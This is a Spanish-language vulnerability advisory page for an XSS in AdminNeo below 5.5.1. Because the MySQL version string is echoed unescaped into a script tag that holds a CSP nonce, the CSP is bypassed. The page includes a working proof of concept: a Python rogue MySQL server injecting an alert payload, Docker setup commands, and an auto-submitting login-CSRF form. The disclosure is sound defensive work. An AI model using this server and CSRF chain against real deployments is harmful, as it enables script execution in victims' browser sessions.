Alta

AdminNeo vulnerable a XSS mediante cadena de versión de servidor MySQL malicioso (omisión de CSP Nonce)

  • Publicada: 30.10.2026
  • Actualizado: 08.11.2026 10:00

Resumen

AdminNeo inserta la cadena de versión del servidor de base de datos en una etiqueta <script> que contiene un nonce de CSP válido, sin ningún tipo de saneamiento. Un servidor de base de datos malicioso puede devolver una cadena de versión manipulada que escapa del contexto de JavaScript y ejecuta código arbitrario. Debido a que la etiqueta de script ya posee un nonce válido, la Content Security Policy del navegador no bloquea la ejecución. No se requiere autenticación si se combina con Login CSRF.

Reportado originalmente en Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Requisitos previos

  • El objetivo ejecuta AdminNeo
  • El atacante controla un servidor MySQL accesible (un script en Python de 80 líneas)

Causa raíz

admin/core/Admin.php, líneas 1285-1286:

php
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() envuelve la salida en <script nonce="VALID_NONCE">. El valor de retorno de Connection::get()->getVersion() no se escapa.

Pasos para reproducir

1. Construir el entorno

Dockerfile (AdminNeo):

dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (servidor MySQL falso que acepta cualquier inicio de sesión):

python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
bash
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

# Terminal 2: start rogue MySQL
python3 rogue_mysql.py

2. Activar el XSS

Abra un navegador y navegue a http://localhost:8081/adminneo.php:

  1. Seleccione el controlador: MySQL
  2. Servidor: HOST_IP:3307 (IP de la máquina que ejecuta rogue_mysql.py)
  3. Usuario: root
  4. Contraseña: x
  5. Haga clic en Login.

El servidor malicioso acepta el inicio de sesión. AdminNeo genera el panel de control e incluye:

html
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>

El navegador ejecuta alert(origin) con evasión completa de CSP porque la etiqueta de script contiene un nonce válido.

3. Activarlo mediante Login CSRF

El formulario de inicio de sesión no cuenta con un token CSRF. Una página controlada por un atacante envía automáticamente el formulario de acceso, obligando al navegador de la víctima a conectarse al servidor malicioso:

html
<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Créditos

Esta vulnerabilidad fue descubierta conjuntamente con Yashar Shahinzadeh (GitHub: @Voorivex).

Qué hacer

Actualice a AdminNeo versión 5.5.1 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer adminneo-org/adminneo < 5.5.1 5.5.1

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
adminneo-org/adminneo
Publicada
30.10.2026
Actualizado
08.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-rx7m-wxwq-vxr9 - CC BY 4.0

Historial de vulnerabilidades: adminneo-org/adminneo

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
6
Primera → última
10.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 4
  • Media 2

Divulgaciones por año

  1. 2026: 6
  1. AdminNeo vulnerable a XSS mediante cadena de versión de servidor MySQL malicioso (omisión de CSP Nonce) esta entrada
    Alta CVE-2026-96632 < 5.5.1 5.5.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.